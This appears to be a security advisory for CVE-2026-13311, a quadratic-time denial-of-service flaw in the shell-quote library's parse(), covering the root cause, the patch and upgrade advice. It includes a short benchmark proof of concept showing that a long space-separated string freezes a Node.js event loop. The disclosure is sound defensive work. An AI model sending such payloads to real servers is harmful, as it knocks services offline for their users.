CVE-2026-13311: shell-quote Quadratic Complexity DoS in parse()
Passing a long space-separated string to shell-quote's parse() triggers O(n²) array copying that can freeze a Node.js server for minutes with a single small HTTP request.
The problem
shell-quote's parse() finalizes its token list using Array.prototype.concat inside a reduce call. Every iteration allocates a brand-new array and copies the entire accumulated result into it, so parsing N tokens costs 1+2+...+N copies: O(n²) total work.
Because Node.js is single-threaded, a blocked parse() blocks the entire event loop. No shell metacharacters are needed; plain space-separated words trigger the worst case. A single ~63 KB POST body (32,000 tokens) froze a test server for ~4.5 seconds and stalled every concurrent request for the full duration.
Proof of concept
A working proof-of-concept for CVE-2026-13311 in shell-quote, with the exact payload below.
// shell-quote <= 1.8.4, Node.js (any version)
// Benchmarks quadratic growth; ~128 KB input blocks event loop ~57 s
const { parse } = require('shell-quote');
const ms = fn => {
const t = process.hrtime.bigint();
fn();
return Number(process.hrtime.bigint() - t) / 1e6;
};
for (const N of [16000, 32000, 64000, 128000]) {
console.log(N, 'tokens ->', ms(() => parse('x '.repeat(N))).toFixed(0), 'ms');
}
// Observed on shell-quote@1.8.4, Node v24:
// 16000 tokens -> 678 ms
// 32000 tokens -> 4169 ms
// 64000 tokens -> 14914 ms
// 128000 tokens -> 57319 ms (~4x per 2x input = confirmed O(n^2))The root cause is in parseInternal (parse.js lines 200-203): the finalization reduce uses prev.concat(arg), which allocates a fresh array and copies all of prev on every single iteration. The maintainer even left a TODO comment flagging this exact issue. A second acc.concat(s) reduce in the module.exports wrapper (lines 211-224, reached when env is a function) has the same shape and the same cost.
The patch at commit 7ff5488 replaces both reduces with a push-into-accumulator loop using forEach. Array.prototype.flat() was considered but rejected because shell-quote targets node >= 0.4 and flat() is ES2019+. The forEach/push approach is also safer than push.apply() for large arrays, which can exceed V8's argument count limit.
The fix reduces finalizing 1,024,000 tokens from ~57 s (for 128k tokens before) to ~150 ms.
The fix
Upgrade shell-quote to 1.9.0 or later. Run: npm install shell-quote@latest. If an immediate upgrade is not possible, add a middleware or input-length guard that rejects or truncates request bodies before they reach parse(), keeping input well under ~10 KB to bound worst-case parse time.
Related research
- high · 7.5CVE-2026-59869CVE-2026-59869: js-yaml Merge-Key Chain Quadratic CPU DoS
- high · 7.5CVE-2026-49293CVE-2026-49293: js-toml CPU Exhaustion via Quadratic BigInt Parsing
- highaxios Node HTTP Adapter Prototype Pollution Proxy Hijack via Interceptor Config Cloning
- high · 7.7CVE-2026-61835CVE-2026-61835: Directus SSRF Protection Bypass via 0.0.0.0 in File Import